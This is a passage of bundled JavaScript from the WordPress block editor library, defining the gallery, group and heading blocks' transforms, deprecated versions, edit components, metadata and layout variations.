  );
  function updateThirdPartyTransformFromGallery(toBlock, fromBlocks) {
    const from = Array.isArray(fromBlocks) ? fromBlocks : [fromBlocks];
    const galleryBlock = from.find(
      (transformedBlock) => transformedBlock.name === "core/gallery" && transformedBlock.innerBlocks.length > 0 && !transformedBlock.attributes.images?.length > 0 && !toBlock.name.includes("core/")
    );
    if (galleryBlock) {
      const images = galleryBlock.innerBlocks.map(
        ({ attributes: { url, id, alt } }) => ({
          url,
          id: id ? parseInt(id, 10) : null,
          alt
        })
      );
      const ids = images.map(({ id }) => id);
      galleryBlock.attributes.images = images;
      galleryBlock.attributes.ids = ids;
    }
    return toBlock;
  }
  (0, import_hooks29.addFilter)(
    "blocks.switchToBlockType.transformedBlock",
    "core/gallery/update-third-party-transform-from",
    updateThirdPartyTransformFromGallery
  );
  var transforms9 = {
    from: [
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["core/image"],
        transform: (attributes2) => {
          let { align, sizeSlug } = attributes2[0];
          align = attributes2.every(
            (attribute) => attribute.align === align
          ) ? align : void 0;
          sizeSlug = attributes2.every(
            (attribute) => attribute.sizeSlug === sizeSlug
          ) ? sizeSlug : void 0;
          const validImages = attributes2.filter(({ url }) => url);
          const innerBlocks = validImages.map((image) => {
            image.width = void 0;
            image.height = void 0;
            return (0, import_blocks31.createBlock)("core/image", image);
          });
          return (0, import_blocks31.createBlock)(
            "core/gallery",
            {
              align,
              sizeSlug
            },
            innerBlocks
          );
        }
      },
      {
        type: "shortcode",
        tag: "gallery",
        transform({ named: { ids, columns = 3, link, orderby, size } }) {
          const imageIds = parseShortcodeIds(ids).map(
            (id) => parseInt(id, 10)
          );
          let linkTo = LINK_DESTINATION_NONE;
          if (link === "post") {
            linkTo = LINK_DESTINATION_ATTACHMENT;
          } else if (link === "file") {
            linkTo = LINK_DESTINATION_MEDIA;
          }
          const galleryBlock = (0, import_blocks31.createBlock)(
            "core/gallery",
            {
              columns: parseInt(columns, 10),
              linkTo,
              randomOrder: orderby === "rand",
              ...size && { sizeSlug: size }
            },
            imageIds.map(
              (imageId) => (0, import_blocks31.createBlock)("core/image", {
                id: imageId,
                ...size && { sizeSlug: size }
              })
            )
          );
          return galleryBlock;
        },
        isMatch({ named }) {
          return void 0 !== named.ids;
        }
      },
      {
        // When created by drag and dropping multiple files on an insertion point. Because multiple
        // files must not be transformed to a gallery when dropped within a gallery there is another transform
        // within the image block to handle that case. Therefore this transform has to have priority 1
        // set so that it overrides the image block transformation when multiple images are dropped outside
        // of a gallery block.
        type: "files",
        priority: 1,
        isMatch(files) {
          return files.length !== 1 && files.every(
            (file) => file.type.indexOf("image/") === 0
          );
        },
        transform(files) {
          const innerBlocks = files.map(
            (file) => (0, import_blocks31.createBlock)("core/image", {
              blob: (0, import_blob10.createBlobURL)(file)
            })
          );
          return (0, import_blocks31.createBlock)("core/gallery", {}, innerBlocks);
        }
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/image"],
        transform: ({ align }, innerBlocks) => {
          if (innerBlocks.length > 0) {
            return innerBlocks.map(
              ({
                attributes: {
                  url,
                  alt,
                  caption,
                  title,
                  href,
                  rel,
                  linkClass,
                  id,
                  sizeSlug: imageSizeSlug,
                  linkDestination,
                  linkTarget,
                  anchor,
                  className
                }
              }) => (0, import_blocks31.createBlock)("core/image", {
                align,
                url,
                alt,
                caption,
                title,
                href,
                rel,
                linkClass,
                id,
                sizeSlug: imageSizeSlug,
                linkDestination,
                linkTarget,
                anchor,
                className
              })
            );
          }
          return (0, import_blocks31.createBlock)("core/image", { align });
        }
      }
    ]
  };
  var transforms_default10 = transforms9;

  // packages/block-library/build-module/gallery/index.mjs
  var { name: name38 } = block_default38;
  var settings38 = {
    icon: gallery_default,
    example: {
      attributes: {
        columns: 2
      },
      innerBlocks: [
        {
          name: "core/image",
          attributes: {
            url: "https://s.w.org/images/core/5.3/Glacial_lakes%2C_Bhutan.jpg"
          }
        },
        {
          name: "core/image",
          attributes: {
            url: "https://s.w.org/images/core/5.3/Sediment_off_the_Yucatan_Peninsula.jpg"
          }
        }
      ]
    },
    transforms: transforms_default10,
    edit: GalleryEdit,
    save: saveWithInnerBlocks,
    deprecated: deprecated_default19
  };
  var init38 = () => initBlock({ name: name38, metadata: block_default38, settings: settings38 });

  // packages/block-library/build-module/group/index.mjs
  var group_exports = {};
  __export(group_exports, {
    init: () => init39,
    metadata: () => block_default39,
    name: () => name39,
    settings: () => settings39
  });
  var import_i18n79 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/group/deprecated.mjs
  var import_block_editor97 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime259 = __toESM(require_jsx_runtime(), 1);
  var migrateAttributes = (attributes2) => {
    if (!attributes2.tagName) {
      attributes2 = {
        ...attributes2,
        tagName: "div"
      };
    }
    if (!attributes2.customTextColor && !attributes2.customBackgroundColor) {
      return attributes2;
    }
    const style2 = { color: {} };
    if (attributes2.customTextColor) {
      style2.color.text = attributes2.customTextColor;
    }
    if (attributes2.customBackgroundColor) {
      style2.color.background = attributes2.customBackgroundColor;
    }
    const { customTextColor, customBackgroundColor, ...restAttributes } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var deprecated8 = [
    // Version with default layout.
    {
      attributes: {
        tagName: {
          type: "string",
          default: "div"
        },
        templateLock: {
          type: ["string", "boolean"],
          enum: ["all", "insert", false]
        }
      },
      supports: {
        __experimentalOnEnter: true,
        __experimentalSettings: true,
        align: ["wide", "full"],
        anchor: true,
        ariaLabel: true,
        html: false,
        color: {
          gradients: true,
          link: true,
          __experimentalDefaultControls: {
            background: true,
            text: true
          }
        },
        spacing: {
          margin: ["top", "bottom"],
          padding: true,
          blockGap: true,
          __experimentalDefaultControls: {
            padding: true,
            blockGap: true
          }
        },
        __experimentalBorder: {
          color: true,
          radius: true,
          style: true,
          width: true,
          __experimentalDefaultControls: {
            color: true,
            radius: true,
            style: true,
            width: true
          }
        },
        typography: {
          fontSize: true,
          lineHeight: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true,
          __experimentalLetterSpacing: true,
          __experimentalTextTransform: true,
          __experimentalDefaultControls: {
            fontSize: true
          }
        },
        layout: true
      },
      save({ attributes: { tagName: Tag } }) {
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(Tag, { ...import_block_editor97.useInnerBlocksProps.save(import_block_editor97.useBlockProps.save()) });
      },
      isEligible: ({ layout }) => layout?.inherit || layout?.contentSize && layout?.type !== "constrained",
      migrate: (attributes2) => {
        const { layout = null } = attributes2;
        if (layout?.inherit || layout?.contentSize) {
          return {
            ...attributes2,
            layout: {
              ...layout,
              type: "constrained"
            }
          };
        }
      }
    },
    // Version of the block with the double div.
    {
      attributes: {
        tagName: {
          type: "string",
          default: "div"
        },
        templateLock: {
          type: ["string", "boolean"],
          enum: ["all", "insert", false]
        }
      },
      supports: {
        align: ["wide", "full"],
        anchor: true,
        color: {
          gradients: true,
          link: true
        },
        spacing: {
          padding: true
        },
        __experimentalBorder: {
          radius: true
        }
      },
      save({ attributes: attributes2 }) {
        const { tagName: Tag } = attributes2;
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(Tag, { ...import_block_editor97.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)("div", { className: "wp-block-group__inner-container", children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_block_editor97.InnerBlocks.Content, {}) }) });
      }
    },
    // Version of the block without global styles support
    {
      attributes: {
        backgroundColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        customTextColor: {
          type: "string"
        }
      },
      supports: {
        align: ["wide", "full"],
        anchor: true,
        html: false
      },
      migrate: migrateAttributes,
      save({ attributes: attributes2 }) {
        const {
          backgroundColor,
          customBackgroundColor,
          textColor,
          customTextColor
        } = attributes2;
        const backgroundClass = (0, import_block_editor97.getColorClassName)(
          "background-color",
          backgroundColor
        );
        const textClass = (0, import_block_editor97.getColorClassName)("color", textColor);
        const className = clsx_default(backgroundClass, textClass, {
          "has-text-color": textColor || customTextColor,
          "has-background": backgroundColor || customBackgroundColor
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)("div", { className, style: styles, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)("div", { className: "wp-block-group__inner-container", children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_block_editor97.InnerBlocks.Content, {}) }) });
      }
    },
    // Version of the group block with a bug that made text color class not applied.
    {
      attributes: {
        backgroundColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        customTextColor: {
          type: "string"
        }
      },
      migrate: migrateAttributes,
      supports: {
        align: ["wide", "full"],
        anchor: true,
        html: false
      },
      save({ attributes: attributes2 }) {
        const {
          backgroundColor,
          customBackgroundColor,
          textColor,
          customTextColor
        } = attributes2;
        const backgroundClass = (0, import_block_editor97.getColorClassName)(
          "background-color",
          backgroundColor
        );
        const textClass = (0, import_block_editor97.getColorClassName)("color", textColor);
        const className = clsx_default(backgroundClass, {
          "has-text-color": textColor || customTextColor,
          "has-background": backgroundColor || customBackgroundColor
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)("div", { className, style: styles, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)("div", { className: "wp-block-group__inner-container", children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_block_editor97.InnerBlocks.Content, {}) }) });
      }
    },
    // v1 of group block. Deprecated to add an inner-container div around `InnerBlocks.Content`.
    {
      attributes: {
        backgroundColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        }
      },
      supports: {
        align: ["wide", "full"],
        anchor: true,
        html: false
      },
      migrate: migrateAttributes,
      save({ attributes: attributes2 }) {
        const { backgroundColor, customBackgroundColor } = attributes2;
        const backgroundClass = (0, import_block_editor97.getColorClassName)(
          "background-color",
          backgroundColor
        );
        const className = clsx_default(backgroundClass, {
          "has-background": backgroundColor || customBackgroundColor
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime259.jsx)("div", { className, style: styles, children: /* @__PURE__ */ (0, import_jsx_runtime259.jsx)(import_block_editor97.InnerBlocks.Content, {}) });
      }
    }
  ];
  var deprecated_default20 = deprecated8;

  // packages/block-library/build-module/group/edit.mjs
  var import_data40 = __toESM(require_data(), 1);
  var import_block_editor99 = __toESM(require_block_editor(), 1);
  var import_element35 = __toESM(require_element(), 1);
  var import_i18n77 = __toESM(require_i18n(), 1);
  var import_primitives161 = __toESM(require_primitives(), 1);

  // packages/block-library/build-module/group/placeholder.mjs
  var import_data39 = __toESM(require_data(), 1);
  var import_block_editor98 = __toESM(require_block_editor(), 1);
  var import_i18n76 = __toESM(require_i18n(), 1);
  var import_blocks32 = __toESM(require_blocks(), 1);
  var import_components46 = __toESM(require_components(), 1);
  var import_element34 = __toESM(require_element(), 1);
  var import_jsx_runtime260 = __toESM(require_jsx_runtime(), 1);
  var getGroupPlaceholderIcons = (name123 = "group") => {
    const icons = {
      group: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
        import_components46.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(import_components46.Path, { d: "M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Z" })
        }
      ),
      "group-row": /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
        import_components46.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(import_components46.Path, { d: "M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10Z" })
        }
      ),
      "group-stack": /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
        import_components46.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(import_components46.Path, { d: "M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm0 17a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V27Z" })
        }
      ),
      "group-grid": /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
        import_components46.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(import_components46.Path, { d: "M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10ZM0 27a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V27Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V27Z" })
        }
      )
    };
    return icons?.[name123];
  };
  function useShouldShowPlaceHolder({
    attributes: attributes2 = {
      style: void 0,
      backgroundColor: void 0,
      textColor: void 0,
      fontSize: void 0
    },
    usedLayoutType = "",
    hasInnerBlocks = false
  }) {
    const { style: style2, backgroundColor, textColor, fontSize } = attributes2;
    const [showPlaceholder, setShowPlaceholder] = (0, import_element34.useState)(
      !hasInnerBlocks && !backgroundColor && !fontSize && !textColor && !style2 && usedLayoutType !== "flex" && usedLayoutType !== "grid"
    );
    (0, import_element34.useEffect)(() => {
      if (!!hasInnerBlocks || !!backgroundColor || !!fontSize || !!textColor || !!style2 || usedLayoutType === "flex") {
        setShowPlaceholder(false);
      }
    }, [
      backgroundColor,
      fontSize,
      textColor,
      style2,
      usedLayoutType,
      hasInnerBlocks
    ]);
    return [showPlaceholder, setShowPlaceholder];
  }
  function GroupPlaceHolder({ name: name123, onSelect }) {
    const variations18 = (0, import_data39.useSelect)(
      (select9) => select9(import_blocks32.store).getBlockVariations(name123, "block"),
      [name123]
    );
    const blockProps = (0, import_block_editor98.useBlockProps)({
      className: "wp-block-group__placeholder"
    });
    (0, import_element34.useEffect)(() => {
      if (variations18 && variations18.length === 1) {
        onSelect(variations18[0]);
      }
    }, [onSelect, variations18]);
    return /* @__PURE__ */ (0, import_jsx_runtime260.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
      import_components46.Placeholder,
      {
        instructions: (0, import_i18n76.__)("Group blocks together. Select a layout:"),
        children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
          "ul",
          {
            role: "list",
            className: "wp-block-group-placeholder__variations",
            "aria-label": (0, import_i18n76.__)("Block variations"),
            children: variations18.map((variation) => /* @__PURE__ */ (0, import_jsx_runtime260.jsx)("li", { children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
              import_components46.Button,
              {
                __next40pxDefaultSize: true,
                variant: "tertiary",
                icon: getGroupPlaceholderIcons(
                  variation.name
                ),
                iconSize: 48,
                onClick: () => onSelect(variation),
                className: "wp-block-group-placeholder__variation-button",
                label: `${variation.title}: ${variation.description}`
              }
            ) }, variation.name))
          }
        )
      }
    ) });
  }
  var placeholder_default = GroupPlaceHolder;

  // packages/block-library/build-module/group/edit.mjs
  var import_jsx_runtime261 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl: HTMLElementControl4 } = unlock(import_block_editor99.privateApis);
  function GroupEditControls({ tagName, onSelectTagName, clientId }) {
    return /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(import_block_editor99.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(
      HTMLElementControl4,
      {
        tagName,
        onChange: onSelectTagName,
        clientId,
        options: [
          { label: (0, import_i18n77.__)("Default (<div>)"), value: "div" },
          { label: "<header>", value: "header" },
          { label: "<main>", value: "main" },
          { label: "<section>", value: "section" },
          { label: "<article>", value: "article" },
          { label: "<aside>", value: "aside" },
          { label: "<footer>", value: "footer" }
        ]
      }
    ) });
  }
  function GroupEdit({ attributes: attributes2, name: name123, setAttributes, clientId }) {
    const { hasInnerBlocks, themeSupportsLayout } = (0, import_data40.useSelect)(
      (select9) => {
        const { getBlock, getSettings: getSettings2 } = select9(import_block_editor99.store);
        const block = getBlock(clientId);
        return {
          hasInnerBlocks: !!(block && block.innerBlocks.length),
          themeSupportsLayout: getSettings2()?.supportsLayout
        };
      },
      [clientId]
    );
    const {
      tagName: TagName2 = "div",
      templateLock,
      allowedBlocks,
      layout = {}
    } = attributes2;
    const { type = "default" } = layout;
    const layoutSupportEnabled = themeSupportsLayout || type === "flex" || type === "grid";
    const ref = (0, import_element35.useRef)();
    const blockProps = (0, import_block_editor99.useBlockProps)({ ref });
    const [showPlaceholder, setShowPlaceholder] = useShouldShowPlaceHolder({
      attributes: attributes2,
      usedLayoutType: type,
      hasInnerBlocks
    });
    let renderAppender;
    if (showPlaceholder) {
      renderAppender = false;
    } else if (!hasInnerBlocks) {
      renderAppender = import_block_editor99.InnerBlocks.ButtonBlockAppender;
    }
    const innerBlocksProps = (0, import_block_editor99.useInnerBlocksProps)(
      layoutSupportEnabled ? blockProps : { className: "wp-block-group__inner-container" },
      {
        dropZoneElement: ref.current,
        templateLock,
        allowedBlocks,
        renderAppender
      }
    );
    const { selectBlock } = (0, import_data40.useDispatch)(import_block_editor99.store);
    const selectVariation = (nextVariation) => {
      setAttributes(nextVariation.attributes);
      selectBlock(clientId, -1);
      setShowPlaceholder(false);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime261.jsxs)(import_jsx_runtime261.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(
        GroupEditControls,
        {
          tagName: TagName2,
          onSelectTagName: (value) => setAttributes({ tagName: value }),
          clientId
        }
      ),
      showPlaceholder && /* @__PURE__ */ (0, import_jsx_runtime261.jsxs)(import_primitives161.View, { children: [
        innerBlocksProps.children,
        /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(
          placeholder_default,
          {
            name: name123,
            onSelect: selectVariation
          }
        )
      ] }),
      layoutSupportEnabled && !showPlaceholder && /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(TagName2, { ...innerBlocksProps }),
      !layoutSupportEnabled && !showPlaceholder && /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime261.jsx)("div", { ...innerBlocksProps }) })
    ] });
  }
  var edit_default15 = GroupEdit;

  // packages/block-library/build-module/group/block.json
  var block_default39 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/group",
    title: "Group",
    category: "design",
    description: "Gather blocks in a layout container.",
    keywords: ["container", "wrapper", "row", "section"],
    textdomain: "default",
    attributes: {
      tagName: {
        type: "string",
        default: "div"
      },
      templateLock: {
        type: ["string", "boolean"],
        enum: ["all", "insert", "contentOnly", false]
      }
    },
    supports: {
      __experimentalOnEnter: true,
      __experimentalOnMerge: true,
      __experimentalSettings: true,
      align: ["wide", "full"],
      anchor: true,
      ariaLabel: true,
      html: false,
      background: {
        backgroundImage: true,
        backgroundSize: true,
        __experimentalDefaultControls: {
          backgroundImage: true
        }
      },
      color: {
        gradients: true,
        heading: true,
        button: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      shadow: true,
      spacing: {
        margin: ["top", "bottom"],
        padding: true,
        blockGap: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      dimensions: {
        minHeight: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      position: {
        sticky: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      layout: {
        allowSizingOnChildren: true
      },
      interactivity: {
        clientNavigation: true
      },
      allowedBlocks: true
    },
    editorStyle: "wp-block-group-editor",
    style: "wp-block-group"
  };

  // packages/block-library/build-module/group/save.mjs
  var import_block_editor100 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime262 = __toESM(require_jsx_runtime(), 1);
  function save22({ attributes: { tagName: Tag } }) {
    return /* @__PURE__ */ (0, import_jsx_runtime262.jsx)(Tag, { ...import_block_editor100.useInnerBlocksProps.save(import_block_editor100.useBlockProps.save()) });
  }

  // packages/block-library/build-module/group/transforms.mjs
  var import_blocks33 = __toESM(require_blocks(), 1);
  var transforms10 = {
    from: [
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["*"],
        __experimentalConvert(blocks) {
          const alignments = ["wide", "full"];
          const widestAlignment = blocks.reduce(
            (accumulator, block) => {
              const { align } = block.attributes;
              return alignments.indexOf(align) > alignments.indexOf(accumulator) ? align : accumulator;
            },
            void 0
          );
          const groupInnerBlocks = blocks.map((block) => {
            return (0, import_blocks33.createBlock)(
              block.name,
              block.attributes,
              block.innerBlocks
            );
          });
          return (0, import_blocks33.createBlock)(
            "core/group",
            {
              align: widestAlignment,
              layout: { type: "constrained" }
            },
            groupInnerBlocks
          );
        }
      }
    ]
  };
  var transforms_default11 = transforms10;

  // packages/block-library/build-module/group/variations.mjs
  var import_i18n78 = __toESM(require_i18n(), 1);
  var example = {
    innerBlocks: [
      {
        name: "core/paragraph",
        attributes: {
          content: (0, import_i18n78.__)("One.")
        }
      },
      {
        name: "core/paragraph",
        attributes: {
          content: (0, import_i18n78.__)("Two.")
        }
      },
      {
        name: "core/paragraph",
        attributes: {
          content: (0, import_i18n78.__)("Three.")
        }
      },
      {
        name: "core/paragraph",
        attributes: {
          content: (0, import_i18n78.__)("Four.")
        }
      },
      {
        name: "core/paragraph",
        attributes: {
          content: (0, import_i18n78.__)("Five.")
        }
      },
      {
        name: "core/paragraph",
        attributes: {
          content: (0, import_i18n78.__)("Six.")
        }
      }
    ]
  };
  var variations8 = [
    {
      name: "group",
      title: (0, import_i18n78.__)("Group"),
      description: (0, import_i18n78.__)("Gather blocks in a container."),
      attributes: { layout: { type: "constrained" } },
      isDefault: true,
      scope: ["block", "inserter", "transform"],
      icon: group_default
    },
    {
      name: "group-row",
      title: (0, import_i18n78._x)("Row", "single horizontal line"),
      description: (0, import_i18n78.__)("Arrange blocks horizontally."),
      attributes: { layout: { type: "flex", flexWrap: "nowrap" } },
      scope: ["block", "inserter", "transform"],
      isActive: ["layout.type"],
      icon: row_default,
      example
    },
    {
      name: "group-stack",
      title: (0, import_i18n78.__)("Stack"),
      description: (0, import_i18n78.__)("Arrange blocks vertically."),
      attributes: { layout: { type: "flex", orientation: "vertical" } },
      scope: ["block", "inserter", "transform"],
      isActive: ["layout.type", "layout.orientation"],
      icon: stack_default,
      example
    },
    {
      name: "group-grid",
      title: (0, import_i18n78.__)("Grid"),
      description: (0, import_i18n78.__)("Arrange blocks in a grid."),
      attributes: { layout: { type: "grid" } },
      scope: ["block", "inserter", "transform"],
      isActive: ["layout.type"],
      icon: grid_default,
      example
    }
  ];
  var variations_default8 = variations8;

  // packages/block-library/build-module/group/index.mjs
  var { name: name39 } = block_default39;
  var settings39 = {
    icon: group_default,
    example: {
      attributes: {
        layout: {
          type: "constrained",
          justifyContent: "center"
        },
        style: {
          spacing: {
            padding: {
              top: "4em",
              right: "3em",
              bottom: "4em",
              left: "3em"
            }
          }
        }
      },
      innerBlocks: [
        {
          name: "core/heading",
          attributes: {
            content: (0, import_i18n79.__)("La Mancha"),
            style: {
              typography: {
                textAlign: "center"
              }
            }
          }
        },
        {
          name: "core/paragraph",
          attributes: {
            style: {
              typography: {
                textAlign: "center"
              }
            },
            content: (0, import_i18n79.__)(
              "In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing."
            )
          }
        },
        {
          name: "core/spacer",
          attributes: {
            height: "10px"
          }
        },
        {
          name: "core/button",
          attributes: {
            text: (0, import_i18n79.__)("Read more")
          }
        }
      ],
      viewportWidth: 600
    },
    transforms: transforms_default11,
    edit: edit_default15,
    save: save22,
    deprecated: deprecated_default20,
    variations: variations_default8
  };
  var init39 = () => initBlock({ name: name39, metadata: block_default39, settings: settings39 });

  // packages/block-library/build-module/heading/index.mjs
  var heading_exports = {};
  __export(heading_exports, {
    init: () => init40,
    metadata: () => block_default40,
    name: () => name40,
    settings: () => settings40
  });
  var import_i18n82 = __toESM(require_i18n(), 1);
  var import_blocks35 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/heading/deprecated.mjs
  var import_block_editor101 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime263 = __toESM(require_jsx_runtime(), 1);
  var blockSupports = {
    className: false,
    anchor: true
  };
  var blockAttributes4 = {
    align: {
      type: "string"
    },
    content: {
      type: "string",
      source: "html",
      selector: "h1,h2,h3,h4,h5,h6",
      default: ""
    },
    level: {
      type: "number",
      default: 2
    },
    placeholder: {
      type: "string"
    }
  };
  var migrateCustomColors2 = (attributes2) => {
    if (!attributes2.customTextColor) {
      return attributes2;
    }
    const style2 = {
      color: {
        text: attributes2.customTextColor
      }
    };
    const { customTextColor, ...restAttributes } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var TEXT_ALIGN_OPTIONS = ["left", "right", "center"];
  var migrateTextAlign = (attributes2) => {
    const { align, ...rest } = attributes2;
    return TEXT_ALIGN_OPTIONS.includes(align) ? { ...rest, textAlign: align } : attributes2;
  };
  var v118 = {
    supports: blockSupports,
    attributes: {
      ...blockAttributes4,
      customTextColor: {
        type: "string"
      },
      textColor: {
        type: "string"
      }
    },
    migrate: (attributes2) => migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    save({ attributes: attributes2 }) {
      const { align, level, content, textColor, customTextColor } = attributes2;
      const tagName = "h" + level;
      const textClass = (0, import_block_editor101.getColorClassName)("color", textColor);
      const className = clsx_default({
        [textClass]: textClass
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
        import_block_editor101.RichText.Content,
        {
          className: className ? className : void 0,
          tagName,
          style: {
            textAlign: align,
            color: textClass ? void 0 : customTextColor
          },
          value: content
        }
      );
    }
  };
  var v29 = {
    attributes: {
      ...blockAttributes4,
      customTextColor: {
        type: "string"
      },
      textColor: {
        type: "string"
      }
    },
    migrate: (attributes2) => migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    save({ attributes: attributes2 }) {
      const { align, content, customTextColor, level, textColor } = attributes2;
      const tagName = "h" + level;
      const textClass = (0, import_block_editor101.getColorClassName)("color", textColor);
      const className = clsx_default({
        [textClass]: textClass,
        [`has-text-align-${align}`]: align
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
        import_block_editor101.RichText.Content,
        {
          className: className ? className : void 0,
          tagName,
          style: {
            color: textClass ? void 0 : customTextColor
          },
          value: content
        }
      );
    },
    supports: blockSupports
  };
  var v34 = {
    supports: blockSupports,
    attributes: {
      ...blockAttributes4,
      customTextColor: {
        type: "string"
      },
      textColor: {
        type: "string"
      }
    },
    migrate: (attributes2) => migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    save({ attributes: attributes2 }) {
      const { align, content, customTextColor, level, textColor } = attributes2;
      const tagName = "h" + level;
      const textClass = (0, import_block_editor101.getColorClassName)("color", textColor);
      const className = clsx_default({
        [textClass]: textClass,
        "has-text-color": textColor || customTextColor,
        [`has-text-align-${align}`]: align
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
        import_block_editor101.RichText.Content,
        {
          className: className ? className : void 0,
          tagName,
          style: {
            color: textClass ? void 0 : customTextColor
          },
          value: content
        }
      );
    }
  };
  var v43 = {
    supports: {
      align: ["wide", "full"],
      anchor: true,
      className: false,
      color: { link: true },
      fontSize: true,
      lineHeight: true,
      __experimentalSelector: {
        "core/heading/h1": "h1",
        "core/heading/h2": "h2",
        "core/heading/h3": "h3",
        "core/heading/h4": "h4",
        "core/heading/h5": "h5",
        "core/heading/h6": "h6"
      },
      __unstablePasteTextInline: true
    },
    attributes: blockAttributes4,
    isEligible: ({ align }) => TEXT_ALIGN_OPTIONS.includes(align),
    migrate: (attributes2) => migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    save({ attributes: attributes2 }) {
      const { align, content, level } = attributes2;
      const TagName2 = "h" + level;
      const className = clsx_default({
        [`has-text-align-${align}`]: align
      });
